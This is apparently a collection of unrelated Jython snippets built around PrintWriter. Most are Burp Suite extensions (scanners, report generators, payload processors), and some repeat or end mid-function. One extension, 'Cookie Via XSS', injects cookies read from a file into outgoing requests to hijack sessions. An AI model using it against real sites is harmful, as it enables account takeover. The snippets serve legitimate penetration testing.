def runScan(self): stderr = PrintWriter(self.callbacks.getStderr(), True) for message in self.selectedMessages: request = message.getRequest() http_service = message.getHttpService() a_request = self.helpers.analyzeRequest(http_service, request) url = '/' + str(a_request.getUrl()).split('/', 3)[-1] insertion_point = InsertionPoint(self.callbacks, self.config, request, url) if insertion_point.checkValid(): for scanner in self.callbacks.getScannerChecks(): issues = scanner.doActiveScan(message, insertion_point) for issue in issues: url = str(issue.getUrl()) url = '{}/{}/{}'.format( '/'.join(url.split('/')[:2]), url.split('/')[2].split(':')[0], url.split('/', 3)[-1]) # no port in hostname exists = False for existing_issue in self.callbacks.getScanIssues( url): if existing_issue.getIssueName( ) == issue.getIssueName(): exists = True if not exists: self.callbacks.addScanIssue(issue) stderr.println('Finished scan')
def register_script(self): """ Registers a pig scripts with its variables substituted. raises: IOException If a temp file containing the pig script could not be created. raises: ParseException The pig script could not have all its variables substituted. todo: Refactor this processes that result in calling this method. This method gets called twice for a single assert as every method that needs the data assumes no one else has called it (even methods that call other methods that call it (assertOutput() calls get_alias() which both call this method). """ pigIStream = BufferedReader(StringReader(self.orig_pig_code)) pigOStream = StringWriter() ps = ParameterSubstitutionPreprocessor(50) # Where does 50 come from? ps.genSubstitutedFile(pigIStream, pigOStream, self.args, self.arg_files) substitutedPig = pigOStream.toString() f = File.createTempFile("tmp", "pigunit") pw = PrintWriter(f) pw.println(substitutedPig) pw.close() pigSubstitutedFile = f.getCanonicalPath() self._temp_pig_script = pigSubstitutedFile self.pig.registerScript(pigSubstitutedFile, self.alias_overrides)
class BurpExtender(IBurpExtender): def registerExtenderCallbacks( self, callbacks): extName = "AutoGenerate Report" pathString = "/PLEASE/REPLACE/ME/" + datetime.now().strftime('%Y-%m-%d-%H-%M-%S') + ".xml" # keep a reference to our callbacks object and add helpers self._callbacks = callbacks self._helpers = callbacks.getHelpers() # set our extension name callbacks.setExtensionName(extName) # obtain our output streams self._stdout = PrintWriter(callbacks.getStdout(), True) self._stderr = PrintWriter(callbacks.getStderr(), True) # print extension name self._stdout.println(extName + " initialized!") # Generate report issueList = self._callbacks.getScanIssues(None) self._callbacks.generateScanReport('XML', issueList, File(pathString)) self._stdout.println("Report located at " + pathString) return
def register_script(self): """ Registers a pig scripts with its variables substituted. raises: IOException If a temp file containing the pig script could not be created. raises: ParseException The pig script could not have all its variables substituted. todo: Refactor this processes that result in calling this method. This method gets called twice for a single assert as every method that needs the data assumes no one else has called it (even methods that call other methods that call it (assertOutput() calls get_alias() which both call this method). """ pigIStream = BufferedReader(StringReader(self.orig_pig_code)) pigOStream = StringWriter() ps = ParameterSubstitutionPreprocessor(50) # Where does 50 come from? ps.genSubstitutedFile(pigIStream, pigOStream, self.args, self.arg_files) substitutedPig = pigOStream.toString() f = File.createTempFile("tmp", "pigunit") pw = PrintWriter(f) pw.println(substitutedPig) pw.close() pigSubstitutedFile = f.getCanonicalPath() self._temp_pig_script = pigSubstitutedFile self.pig.registerScript(pigSubstitutedFile, self.alias_overrides)
class BurpExtender(IBurpExtender, IHttpListener): def registerExtenderCallbacks(self, callbacks): self._helpers = callbacks.getHelpers() self._stdout = PrintWriter(callbacks.getStdout(), True) callbacks.setExtensionName("Separate cookie headers") callbacks.registerHttpListener(self) return def processHttpMessage(self, toolFlag, messageIsRequest, currentRequest): if not messageIsRequest: return requestInfo = self._helpers.analyzeRequest(currentRequest) bodyBytes = currentRequest.getRequest()[requestInfo.getBodyOffset():] bodyStr = self._helpers.bytesToString(bodyBytes) headers = requestInfo.getHeaders() newHeaders = [] for header in list(headers): if re.search('[Cc]ookie', header): header = re.sub('[Cc]ookie.*?:', '', header) for cookie in header.split(';'): trimmed = cookie.strip('') if trimmed: newHeaders.append('Cookie: ' + trimmed + ';') else: newHeaders.append(header) newRequest = self._helpers.buildHttpMessage(newHeaders, bodyStr) currentRequest.setRequest(newRequest) self._stdout.println("Out: " + newRequest)
def write_ordered_variables(program_name, variable_map, file_path, append=False): """ Write variables to file while preserving order of the variables. :param program_name: name of the calling program :param variable_map: map or variable properties to write to file :param file_path: the file to which to write the properties :param append: defaults to False. Append properties to the end of file :raises VariableException if an error occurs while storing the variables in the file """ _method_name = 'write_ordered_variables' _logger.entering(program_name, file_path, append, class_name=_class_name, method_name=_method_name) pw = None try: pw = PrintWriter(FileOutputStream(File(file_path), Boolean(append)), Boolean('true')) for key, value in variable_map.iteritems(): formatted = '%s=%s' % (key, value) pw.println(formatted) pw.close() except IOException, ioe: _logger.fine('WLSDPLY-20007', file_path, ioe.getLocalizedMessage()) ex = exception_helper.create_variable_exception( 'WLSDPLY-20007', file_path, ioe.getLocalizedMessage(), error=ioe) _logger.throwing(ex, class_name=_class_name, method_name=_method_name) if pw is not None: pw.close() raise ex
class ScreenMouseListener(MouseAdapter): # constructor: def __init__(self, callbacks): self.callbacks = callbacks self._stdout = PrintWriter(callbacks.getStdout(), True) self._stdout.println("we are in this weird mouseListener, I think ") def mousePressed(self, event): self._stdout.println("Also, from mouse press") def mouseClicked(self, event): pass def mouseDragged(self, event): pass def mouseMoved(self, event): pass def mouseReleased(self, event): pass def mouseWheelMoved(self, event): pass def mouseEntered(self, event): pass def mouseExited(self, event): pass
def registerExtenderCallbacks(self, callbacks): '''Interface method to register the extender callbacks''' callbacks.setExtensionName(EXTENSION_NAME) callbacks.registerIntruderPayloadGeneratorFactory( CustomPayloadGeneratorFactory(callbacks)) stdout = PrintWriter(callbacks.getStdout(), True) stdout.println(LOAD_MESSAGE)
class BurpExtender(IBurpExtender, IScannerListener, IExtensionStateListener): # init module settings and variables # hoping to make this a GUI option (not sure how yet) # # implement IBurpExtender # def registerExtenderCallbacks(self, callbacks): # keep a reference to our callbacks object self._callbacks = callbacks # set our extension name callbacks.setExtensionName("Scanner Streamer [c22]") # obtain our output stream self._stdout = PrintWriter(callbacks.getStdout(), True) # register ourselves as a Scanner listener callbacks.registerScannerListener(self) # register ourselves as an extension state listener callbacks.registerExtensionStateListener(self) # call initExtension routine initExtension() return # # implement IScannerListener # def newScanIssue(self, issue): if domainInScope(self, issue): # check if finding already displayed for this hostname if newFinding(issue): outputFinding(self, issue) else: # already displayed if verbose: self._stdout.println("[-] Finding already displayed (%s)" % issue.getIssueName()) return # # implement IExtensionStateListener # def extensionUnloaded(self): self._stdout.println("\n[!] Scanner_Streamer.py extension was unloaded") return
def registerExtenderCallbacks(self, callbacks): callbacks.setExtensionName("Hello world extension") stdout = PrintWriter(callbacks.getStdout(), True) # write a message to our output stream stdout.println("Hello output") return
def makeRequest(self, host, port, protoChoice, request): stdout = PrintWriter(self.callbacks.getStdout(), True) try: self.resp = self.callbacks.makeHttpRequest(host, port, protoChoice, request) except Exception as ex: stdout.println(ex)
def createInputFile(self, fs, fileName, input_data): if(fs.exists(Path(fileName))): raise IOException("File " + fileName + " already exists on the minicluster") stream = fs.create(Path(fileName)) pw = PrintWriter(OutputStreamWriter(stream, "UTF-8")) for i in xrange(len(input_data)): pw.println(input_data[i]) pw.close();
class BurpExtender(IBurpExtender, IScannerListener, IExtensionStateListener): # init module settings and variables # hoping to make this a GUI option (not sure how yet) # # implement IBurpExtender # def registerExtenderCallbacks(self, callbacks): # keep a reference to our callbacks object self._callbacks = callbacks # set our extension name callbacks.setExtensionName("Scanner Streamer [c22]") # obtain our output stream self._stdout = PrintWriter(callbacks.getStdout(), True) # register ourselves as a Scanner listener callbacks.registerScannerListener(self) # register ourselves as an extension state listener callbacks.registerExtensionStateListener(self) # call initExtension routine initExtension() return # # implement IScannerListener # def newScanIssue(self, issue): if domainInScope(self, issue): # check if finding already displayed for this hostname if newFinding(issue): outputFinding(self, issue) else: # already displayed if verbose: self._stdout.println("[-] Finding already displayed (%s)" % issue.getIssueName()) return # # implement IExtensionStateListener # def extensionUnloaded(self): self._stdout.println( "\n[!] Scanner_Streamer.py extension was unloaded") return
def registerExtenderCallbacks(self, callbacks): self._callbacks = callbacks self._helpers = callbacks.getHelpers() callbacks.setExtensionName("Pulse SSL VPN Arbitrary File Read Scanner") dout = PrintWriter(callbacks.getStdout(), True) derr = PrintWriter(callbacks.getStderr(), True) dout.println( "Pulse SSL VPN Arbitrary File Read Scanner | by twitter.com/0x94") callbacks.registerScannerCheck(self)
def registerExtenderCallbacks(self, callbacks): stdout = PrintWriter(callbacks.getStdout(), True) self._callbacks = callbacks self._helpers = callbacks.getHelpers() callbacks.setExtensionName("HMAC Header") stdout.println("HMAC Header Registered OK") callbacks.registerSessionHandlingAction(self) stdout.println("Session handling started") return
def registerExtenderCallbacks(self, callbacks): stdout = PrintWriter(callbacks.getStdout(), True) self._callbacks = callbacks self._helpers = callbacks.getHelpers() callbacks.setExtensionName("Body Signature") stdout.println("Body Signature register") callbacks.registerSessionHandlingAction(self) stdout.println("Session handling") return
def registerExtenderCallbacks(self, callbacks): callbacks.setExtensionName("Seccasts Tutorial - Jython") stdout = PrintWriter(callbacks.getStdout(), True) stdout.println("Hello from Seccasts!") return
def registerExtenderCallbacks(self, callbacks): callbacks.setExtensionName("Seccasts Tutorial - Jython") stdout = PrintWriter(callbacks.getStdout(), True) stdout.println("Hello from Seccasts!") return
def createInputFile(self, fs, fileName, input_data): if (fs.exists(Path(fileName))): raise IOException("File " + fileName + " already exists on the minicluster") stream = fs.create(Path(fileName)) pw = PrintWriter(OutputStreamWriter(stream, "UTF-8")) for i in xrange(len(input_data)): pw.println(input_data[i]) pw.close()
def registerExtenderCallbacks(self, callbacks): self._callbacks = callbacks # This method is used to obtain an IExtensionHelpers object, which can be used by the extension to perform numerous useful tasks. self._helper = callbacks.getHelpers() # analyze and encode request/response self._callbacks.setExtensionName('path_shadow_scanner') stdout = PrintWriter(callbacks.getStdout(), True) stdout.println("by j1anFen") callbacks.registerHttpListener(self)
def registerExtenderCallbacks(self, _callbacks): global helpers, callbacks, derr, dout callbacks = _callbacks helpers = callbacks.getHelpers() callbacks.setExtensionName("Parametreci v0.1") Tara = ParametreScn() dout = PrintWriter(callbacks.getStdout(), True) derr = PrintWriter(callbacks.getStderr(), True) dout.println("Parametreci | twitter.com/0x94") callbacks.registerScannerCheck(Tara)
class BurpExtender(IBurpExtender, IHttpRequestResponse, IHttpService, ITab): def registerExtenderCallbacks(self, callbacks): self.callbacks = callbacks self.helpers = callbacks.getHelpers() self.stdout = PrintWriter(callbacks.getStdout(), True) self.stderr = PrintWriter(callbacks.getStderr(), True) callbacks.setExtensionName('Save URL List') self.panel = JPanel() self.myLabel = JLabel('Save URL List as a Text File', JLabel.CENTER) self.buttonFile = Button('Select File', actionPerformed=self.selectFile) self.buttonSaveProxy = Button('Save All Proxy History', actionPerformed=self.saveProxy) self.buttonSaveSiteTree = Button('Save All Target SiteTree ', actionPerformed=self.saveSiteTree) self.buttonSaveProxyScope = Button('Save In-Scope Proxy History', actionPerformed=self.saveProxyScope) self.buttonSaveSiteTreeScope = Button('Save In-Scope Target SiteTree', actionPerformed=self.saveSiteTreeScope) self.panel.add(self.myLabel) self.panel.add(self.buttonFile) self.panel.add(self.buttonSaveProxy) self.panel.add(self.buttonSaveSiteTree) self.panel.add(self.buttonSaveProxyScope) self.panel.add(self.buttonSaveSiteTreeScope) callbacks.customizeUiComponent(self.panel) callbacks.addSuiteTab(self) def getTabCaption(self): return 'URL List' def getUiComponent(self): return self.panel def selectFile(self, event): chooser = JFileChooser() retVal = chooser.showSaveDialog(None) self.saveFile = chooser.selectedFile.path def saveProxy(self, event): self.stdout.println('Writing Entire Proxy History URL List to File: ' + self.saveFile) writer = open(self.saveFile, 'w') proxyHistory = self.callbacks.getProxyHistory() if proxyHistory: for item in proxyHistory: try: request = item.getRequest() if request: service = item.getHttpService() myURL = self.helpers.analyzeRequest(service, request).getUrl().toString() writer.write(myURL + '\n') except Exception, e: self.stderr.println('Error Writing URL.') continue else:
def registerExtenderCallbacks(self, callbacks): self.callbacks = callbacks self.helpers = callbacks.helpers callbacks.setExtensionName("Burp Scripter Plus") stdout = PrintWriter(callbacks.getStdout(), True) stdout.println( """Successfully loaded Burp Scripter Plus v""" + VERSION + """\n Repository @ https://github.com/Acceis/BurpScripterPlus Send feedback or bug reports on twitter @G4N4P4T1""" ) self.scriptpane = JTextPane() self.scriptpane.setFont( Font("Monospaced", Font.PLAIN, 12) ) self.scrollpane = JScrollPane() self.scrollpane.setViewportView(self.scriptpane) self._code = compile("", "<string>", "exec") self._script = "" script = callbacks.loadExtensionSetting("script") if script: script = base64.b64decode(script) self.scriptpane.document.insertString( self.scriptpane.document.length, script, SimpleAttributeSet(), ) self._script = script try: self._code = compile( script, "<string>", "exec" ) except Exception as e: traceback.print_exc( file=self.callbacks.getStderr() ) callbacks.registerExtensionStateListener(self) callbacks.registerHttpListener(self) callbacks.customizeUiComponent( self.getUiComponent() ) callbacks.addSuiteTab(self) self.scriptpane.requestFocus()
def registerExtenderCallbacks(self, callbacks): # set our extension name callbacks.setExtensionName("G2 Determine Session Cookie") callbacks.registerContextMenuFactory(DetermineCookieMenuItem(callbacks)) # obtain our output and error streams stdout = PrintWriter(callbacks.getStdout(), True) stderr = PrintWriter(callbacks.getStderr(), True) # write a message to our output stream stdout.println("G2 Determine Session Cookie - Successful Initialization")
def writeClientPostHTTP(self, writeOutTo, headers, data): """ generated source for method writeClientPostHTTP """ bw = BufferedWriter(OutputStreamWriter(writeOutTo.getOutputStream())) pw = PrintWriter(bw) pw.println("POST / HTTP/1.0") if 0 > len(headers): pw.println(headers) pw.println("Content-length: " + len(data)) pw.println() pw.println(data) pw.flush()
class BurpExtender(IBurpExtender, IHttpListener, IProxyListener): def registerExtenderCallbacks(self, callbacks): # keep a reference to our callbacks object self._callbacks = callbacks self._helpers = callbacks.getHelpers() self.all_params = dict() # obtain our output stream self._stdout = PrintWriter(callbacks.getStdout(), True) # set our extension name callbacks.setExtensionName("Burp Plugin For HTTP Analysis") # register ourselves as an HTTP listener callbacks.registerHttpListener(self) # register ourselves as a Proxy listener callbacks.registerProxyListener(self) return def processHttpMessage(self, toolFlag, messageIsRequest, currentRequest): return def processProxyMessage(self, messageIsRequest, message): if not messageIsRequest: # self._stdout.println("Proxy response from " + message.getMessageInfo().getHttpService().toString()) # self._stdout.println(message.getMessageInfo().getRequest().tostring()) self.extractParameter(message.getMessageInfo()) self.checkReflectedXSS(message.getMessageInfo()) return def extensionUnloaded(self): self._stdout.println("Extension was unloaded") return def checkMutiPart(self, headers): for i in headers: if (i.lower()[:12] == "content-type"): if (i.lower()[12:].find("multipart/form-data") > 0): return True, i else: return False, None break return False, None def parseMutiPart(self, request_headers, content_type_line): body = request_headers.split("\r\n\r\n")[1:] body = ("\r\n\r\n".join(body)) parsed = cgi.FieldStorage(IO(body), headers={content_type_line}, environ={'REQUEST_METHOD': 'POST'}) # Stuck here, wait def checkJsonString(self, check_str): try: json_object = json.loads(check_str) except ValueError, e: return False # invalid json else:
class BurpExtender(IBurpExtender, IHttpListener): def registerExtenderCallbacks(self, callbacks): self._callbacks = callbacks self._helpers = callbacks.getHelpers() callbacks.setExtensionName("Cookie Via XSS") callbacks.registerHttpListener(self) self.stdout = PrintWriter(callbacks.getStdout(), True) self.stderr = PrintWriter(callbacks.getStderr(), True) callbacks.issueAlert("Loaded Successfull.") def processHttpMessage(self, toolFlag, messageIsRequest, currentRequest): if messageIsRequest: requestInfo = self._helpers.analyzeRequest(currentRequest) self.headers = list(requestInfo.getHeaders()) # self.setHeader('Cookie',"Cookie_HelloMe") cookie_text = "" hook_host = requestInfo.getUrl().getHost() if os.path.exists(file_path): with open(file_path, 'r') as rf: cooki_domain = rf.readline().replace("\n","").split("=")[1] if str(cooki_domain) in str(hook_host): for line in rf.readlines(): cookie_text += line.replace("\n","") else: pass if len(cookie_text) > 10: self.stdout.println("[+]-------Hack Inject Cookie-------[+]") self.stdout.println(cookie_text) self.setHeader('Cookie',cookie_text) bodyBytes = currentRequest.getRequest()[requestInfo.getBodyOffset():] self.body = self._helpers.bytesToString(bodyBytes) newMessage = self._helpers.buildHttpMessage(self.headers, self.body) currentRequest.setRequest(newMessage) # Process responses else: pass def setHeader(self, header, value): new_headers = [] for h in self.headers: if header in h: h = header + ': ' + value new_headers.append(h) self.headers = new_headers
def registerExtenderCallbacks(self, callbacks): callbacks.setExtensionName("hello world extension") stdout = PrintWriter(callbacks.getStdout(), True) stderr = PrintWriter(callbacks.getStderr(), True) stdout.println("hello world") stderr.println("hello error") callbacks.issueAlert("hello alert") raise RuntimeException("hello exception")
def registerExtenderCallbacks(self, callbacks): # set our extension name callbacks.setExtensionName("G2 Determine Session Cookie") callbacks.registerContextMenuFactory( DetermineCookieMenuItem(callbacks)) # obtain our output and error streams stdout = PrintWriter(callbacks.getStdout(), True) stderr = PrintWriter(callbacks.getStderr(), True) # write a message to our output stream stdout.println( "G2 Determine Session Cookie - Successful Initialization")
class Connection(object): def __init__(self, addr, port): self.socket = Socket(addr, port) self.in = BufferedReader(InputStreamReader(self.socket.getInputStream())) self.out = PrintWriter(self.socket.getOutputStream(), True) def sendMessage(self, msg): self.out.println(str(msg)) response = self.in.readLine() if response is None: # abort abort abort exit(1) decoded = Message.decode(response) return decoded.msgData # empty string or hash
class BurpExtender(IBurpExtender): def registerExtenderCallbacks(self, callbacks): # set our extension name self.callbacks = callbacks self.callbacks.setExtensionName("OgaSazSave") self.stdout = PrintWriter(callbacks.getStdout(), True) self.stderr = PrintWriter(callbacks.getStderr(), True) saveSazhandler = RightClickHandler(self.callbacks) callbacks.registerContextMenuFactory(saveSazhandler) self.stdout.println("OgaSazSave v0.9.2 Load OK!!")
class BurpExtender(IBurpExtender, IIntruderPayloadProcessor): def registerExtenderCallbacks(self, callbacks): self._callbacks = callbacks self._helpers = callbacks.getHelpers() # Register methods for error reporting self.stdout = PrintWriter(callbacks.getStdout(), True) self.stderr = PrintWriter(callbacks.getStderr(), True) self.stdout.println("Module loaded successfully!") callbacks.setExtensionName('Simple Burp Intruder Payload Processor') callbacks.registerIntruderPayloadProcessor(self) return def getProcessorName(): return "Capitalize Payload Process" def processPayload(currentPayload, originalPayload, baseValue): try: # Data will be outputted to Burp UI by default self.stdout.println("currentPayload: %s" % currentPayload) newPayload = capitalize(currentPayload) self.stdout.println("newPayload: %s" % newPayload) except: print "Unexpected error:", sys.exc_info()[0] return newPayload def capitalize(data): # A simple function that will capitalize strings self.stdout.println("data: %s" % data) return data.upper()
class BurpExtender(IBurpExtender, IIntruderPayloadProcessor): def registerExtenderCallbacks(self, callbacks): self._callbacks = callbacks self._helpers = callbacks.getHelpers() # Register methods for error reporting self.stdout = PrintWriter(callbacks.getStdout(), True) self.stderr = PrintWriter(callbacks.getStderr(), True) self.stdout.println("Module loaded successfully!") callbacks.setExtensionName('Simple Burp Intruder Payload Processor') callbacks.registerIntruderPayloadProcessor(self) return def getProcessorName(): return "Capitalize Payload Process" def processPayload(currentPayload, originalPayload, baseValue): try: # Data will be outputted to Burp UI by default self.stdout.println("currentPayload: %s" % currentPayload) newPayload = capitalize(currentPayload) self.stdout.println("newPayload: %s" % newPayload) except: print "Unexpected error:", sys.exc_info()[0] return newPayload def capitalize(data): # A simple function that will capitalize strings self.stdout.println("data: %s" % data) return data.upper()
def performAction(self, currentRequest, macroItems): #Update the secret key for HMAC Secret = "THIS-IS-A-SeCRet" stdout = PrintWriter(self._callbacks.getStdout(), True) requestInfo = self._helpers.analyzeRequest(currentRequest) #Get Response #responseByte = currentRequest.getResponse() #responseInfo = self._helpers.analyzeRespons(macroItems[0].getResponse()) #macro_msg = macroItems[0].getResponse() #resp_body = macro_msg[responseInfo.getBodyOffset():] #macro_body_string = self._helpers.bytesToString(resp_body) #Get body response #ResponseBodyBytes = responseByte[responseInfo.getBodyOffset():] #ResponseBodyStr = self._helpers.bytesToString(ResponseBodyBytes) #ResponseHeaders = responseInfo.getHeaders() #Get URL path (the bit after the FQDN) urlpath = self._helpers.analyzeRequest( currentRequest).getUrl().getPath() urlpath = self._helpers.urlEncode(urlpath) #Get body BodyBytes = currentRequest.getRequest()[requestInfo.getBodyOffset():] BodyStr = self._helpers.bytesToString(BodyBytes) #Get time timestamp = datetime.now() timestamp = timestamp.isoformat() #Compute HMAC content = urlpath + BodyStr + timestamp stdout.println(content) #_hmac = base64.b64encode(hmac.new(Secret, content, digestmod=hashlib.sha256).hexdigest()) #stdout.println(_hmac) #Add to headers array headers = requestInfo.getHeaders() #hmacheader = "Authentication Bearer: "+_hmac+":"+timestamp #headers.add(hmacheader) # Build new HTTP message with the new HMAC header message = self._helpers.buildHttpMessage(headers, BodyStr) # Update request with the new header and send it on its way currentRequest.setRequest(message) return
def registerExtenderCallbacks(self, callbacks): # get a local instance of callbacks object self._callbacks = callbacks self._callbacks.setExtensionName("SRI Check") self._helpers = self._callbacks.getHelpers() # register as scanner object so we get used for active/passive scans self._callbacks.registerScannerCheck(self) stdout = PrintWriter(callbacks.getStdout(), True) stdout.println("""Successfully loaded SRI Checks v""" + VERSION + """\n Repository @ https://github.com/bellma101/sri-check Send feedback or bug reports to [email protected] Copyright (c) 2018 bellma101""") return
def registerExtenderCallbacks(self, callbacks): # get a local instance of callbacks object self._callbacks = callbacks self._callbacks.setExtensionName("Cookie Decrypter") self._helpers = self._callbacks.getHelpers() # register as scanner object so we get used for active/passive scans self._callbacks.registerScannerCheck(self) stdout = PrintWriter(callbacks.getStdout(), True) stdout.println("""Successfully loaded Cookie Decrypter v""" + VERSION + """\n Repository @ https://github.com/SolomonSklash/cookie-decrypter/ Send feedback or bug reports to [email protected] Copyright (c) 2018 SolomonSklash""") return
def registerExtenderCallbacks(self, callbacks): # set our extension name callbacks.setExtensionName("My New Hello world sample extension") # obtain our output and error streams stdout = PrintWriter(callbacks.getStdout(), True) stderr = PrintWriter(callbacks.getStderr(), True) # write a message to our output stream stdout.println("Hello output") # write a message to our error stream stderr.println("Hello errors") # write a message to the Burp alerts tab callbacks.issueAlert("Hello alerts")
def registerExtenderCallbacks(self, callbacks): # get a local instance of callbacks object self._callbacks = callbacks self._callbacks.setExtensionName("Dangerous Methods") # register as scanner object so we get used for active/passive scans self._callbacks.registerScannerCheck(self) stdout = PrintWriter(callbacks.getStdout(), True) stdout.println("""Successfully loaded Dangerous Methods v""" + VERSION + """\n Repository @ https://gitlab.com/technotame/dangerous-methods Send feedback or bug reports to [email protected] Copyright (c) 2018 Technotame""") return
def registerExtenderCallbacks(self, callbacks): # set our extension name callbacks.setExtensionName("Hello world extension") # obtain our output and error streams stdout = PrintWriter(callbacks.getStdout(), True) stderr = PrintWriter(callbacks.getStderr(), True) # write a message to our output stream stdout.println("Hello output") # write a message to our error stream stderr.println("Hello errors") # write a message to the Burp alerts tab callbacks.issueAlert("Hello alerts") #create and populate a jtable: initial_row = [ 'http', 'www.meetup.com', 'PyMNtos-Twin-Cities-Python-User-Group/events/267977020/', '', '', '' ] self.fileTable = JTable(ResourceTableModel(initial_row)) # set up the Tab: self.infoPanel = JPanel() footerPanel = JPanel() footerPanel.add(JLabel("by mcgyver5 ")) self._chooseFileButton = JButton("OPEN Local FILE", actionPerformed=self.fileButtonClick) self.infoPanel.add(JLabel("INFORMATION PANE")) self.infoPanel.add(self._chooseFileButton) scrollpane = JScrollPane(self.fileTable) ## this is a split inside the top component topPane = JSplitPane(JSplitPane.VERTICAL_SPLIT) topPane.setTopComponent(self.infoPanel) topPane.setBottomComponent(scrollpane) self._chooseFileButton.setEnabled(True) self._splitpane = JSplitPane(JSplitPane.VERTICAL_SPLIT) self._splitpane.setTopComponent(topPane) self._splitpane.setBottomComponent(footerPanel) callbacks.addSuiteTab(self)
def writeClientGetHTTP(self, writeOutTo, headers, data): """ generated source for method writeClientGetHTTP """ bw = BufferedWriter(OutputStreamWriter(writeOutTo.getOutputStream())) pw = PrintWriter(bw) pw.println("GET /" + URLEncoder.encode(data, "UTF-8") + " HTTP/1.0") if 0 > len(headers): pw.println(headers) pw.println("Content-length: 0") pw.println() pw.println() pw.flush()
def registerExtenderCallbacks(self, callbacks): # set our extension name callbacks.setExtensionName("Hello world extension") # obtain our output and error streams stdout = PrintWriter(callbacks.getStdout(), True) stderr = PrintWriter(callbacks.getStderr(), True) # write a message to our output stream stdout.println("Hello output") # write a message to our error stream stderr.println("Hello errors") # write a message to the Burp alerts tab callbacks.issueAlert("Hello alerts") # throw an exception that will appear in our error stream raise RuntimeException("Hello exception")
class BurpExtender(IBurpExtender, IIntruderPayloadProcessor): def registerExtenderCallbacks(self, callbacks): self._callbacks = callbacks self._helpers = callbacks.getHelpers() # Register methods for error reporting self.stdout = PrintWriter(callbacks.getStdout(), True) self.stderr = PrintWriter(callbacks.getStderr(), True) self.stdout.println("Module loaded successfully!") callbacks.setExtensionName('Add Luhn check digit') callbacks.registerIntruderPayloadProcessor(self) return def getProcessorName(self): return "Add Luhn check digit to the number" def processPayload(self,currentPayload, originalPayload, baseValue): payload = self._helpers.bytesToString(currentPayload) if not payload.isdigit(): print "You need to pass a digit" return currentPayload try: # Data will be outputted to Burp UI by default self.stdout.println("currentPayload: %s" % payload) payload = addluhn(payload) self.stdout.println("newPayload: %s" % payload) except: print "Unexpected error:", sys.exc_info()[0] newPayload = self._helpers.stringToBytes(payload) return newPayload
class BurpExtender(IBurpExtender, IHttpRequestResponse, IHttpService, ITab): def registerExtenderCallbacks(self, callbacks): self.callbacks = callbacks self.helpers = callbacks.getHelpers() callbacks.setExtensionName("Hello Burp") self.panel = JPanel() self.label = JLabel("Hello Burp") self.buttonOutput = Button("Print to Output", actionPerformed=self.printToOutput) self.buttonErrors = Button("Print to Errors", actionPerformed=self.printToErrors) self.buttonAlerts = Button("Print to Alerts", actionPerformed=self.printToAlerts) self.panel.add(self.label) self.panel.add(self.buttonOutput) self.panel.add(self.buttonErrors) self.panel.add(self.buttonAlerts) callbacks.customizeUiComponent(self.panel) callbacks.addSuiteTab(self) self.stdout = PrintWriter(callbacks.getStdout(), True) self.stderr = PrintWriter(callbacks.getStderr(), True) burpInfo = callbacks.getBurpVersion() self.stdout.println("Hello " + burpInfo[0] + " v" + burpInfo[1] + "." + burpInfo[2] +"!") def getTabCaption(self): return "Hello Burp" def getUiComponent(self): return self.panel def printToOutput(self, event): self.stdout.println("Hello output") def printToErrors(self, event): self.stderr.println("Hello errors") def printToAlerts(self, event): self.callbacks.issueAlert("Hello alerts")
class BurpExtender(IBurpExtender, IScannerListener, IProxyListener, IHttpListener): def registerExtenderCallbacks(self, callbacks): # keep a reference to our callbacks object self._callbacks = callbacks self._scanlist = [] # Holds scan items (Burp data structures) self._scantarget = [] # Holds list of URLs added to scan # set our extension name callbacks.setExtensionName("Headless Scanner Driver") # obtain our output stream self._stdout = PrintWriter(callbacks.getStdout(), True) self._stderr = PrintWriter(callbacks.getStderr(), True) # register ourselves as listeners callbacks.registerScannerListener(self) callbacks.registerProxyListener(self) self._stdout.println(json.dumps({"running": 1})) # Indicate we're up self._stdout.flush() return def processProxyMessage(self, messageIsRequest, message): # This method is called for every externally triggered request. callbacks = self._callbacks # As stored in registerExtenderCallbacks message.setInterceptAction( IInterceptedProxyMessage.ACTION_DONT_INTERCEPT) # Inform Burp not to intercept the message. if messageIsRequest == 1: # Booleans are integers # Obtain message target & content requestresponse = message.getMessageInfo() request = requestresponse.getRequest() # returns array.array target = requestresponse.getHttpService() host = target.getHost() port = target.getPort() protocol = target.getProtocol() # Interpret in-band signaling from the test driver # (any request to ports 1111, 1112 will get intercepted as # an instruction to this extension) if port == 1111: # Show scan status message.setInterceptAction( IInterceptedProxyMessage.ACTION_DROP) # Was a control message, do not process further statuses = [] for scaninstance in self._scanlist: statuses.append(scaninstance.getStatus()) # This output may block due to output buffers being filled. # When running this extension, something should be reading # stdout. self._stdout.println(json.dumps(statuses)) self._stdout.flush() return if port == 1112: # Dump results and quit message.setInterceptAction( IInterceptedProxyMessage.ACTION_DROP) # Was a control message, do not process further scanissues = self.get_issues() # This output may block due to output buffers being filled. # When running this extension, something should be reading # stdout. self._stdout.println(json.dumps(scanissues, encoding="utf-8")) self._stdout.flush() callbacks.exitSuite(0) # Exit cleanly return if port == 1113: # Dump results but don't quit message.setInterceptAction( IInterceptedProxyMessage.ACTION_DROP) # Was a control message, do not process further scanissues = self.get_issues() #clear the scanlist to avoid getting previous issues in future scans self._scanlist = [] # This output may block due to output buffers being filled. # When running this extension, something should be reading # stdout. self._stdout.println(json.dumps(scanissues, encoding="utf-8")) self._stdout.flush() return # Duplicate scan rejection urlpath = re.search('^\w+ (.+) HTTP', request.tostring()) if urlpath is not None: url = protocol + "://" + host + urlpath.group(1) if self._scantarget.count(url) == 0: # Not already scanned? self._scantarget.append(url) # Start an active scan on the message https = 0 if protocol == "https": https = 1 scaninstance = callbacks.doActiveScan(host, port, https, request) self._scanlist.append(scaninstance) return def get_issues(self): scanissues = [] # Collect issues. We have a list of scans that contain # scan findings. Extract these and dump in a JSON. for scaninstance in self._scanlist: for scanissue in scaninstance.getIssues(): issue = {} issue['url'] = scanissue.getUrl().toString() issue['severity'] = scanissue.getSeverity() issue['issuetype'] = scanissue.getIssueType() issue['issuename'] = scanissue.getIssueName() issue['issuedetail'] = scanissue.getIssueDetail() issue['confidence'] = scanissue.getConfidence() issue['host'] = scanissue.getHttpService().getHost() issue['port'] = scanissue.getHttpService().getPort() issue['protocol'] = scanissue.getHttpService().getProtocol() messages = [] for httpmessage in scanissue.getHttpMessages(): request = httpmessage.getRequest().tostring() request = request.encode('utf-8') response = httpmessage.getResponse().tostring() response = response.encode('utf-8') messages.append((request, response)) issue['messages'] = messages scanissues.append(copy.copy(issue)) return scanissues
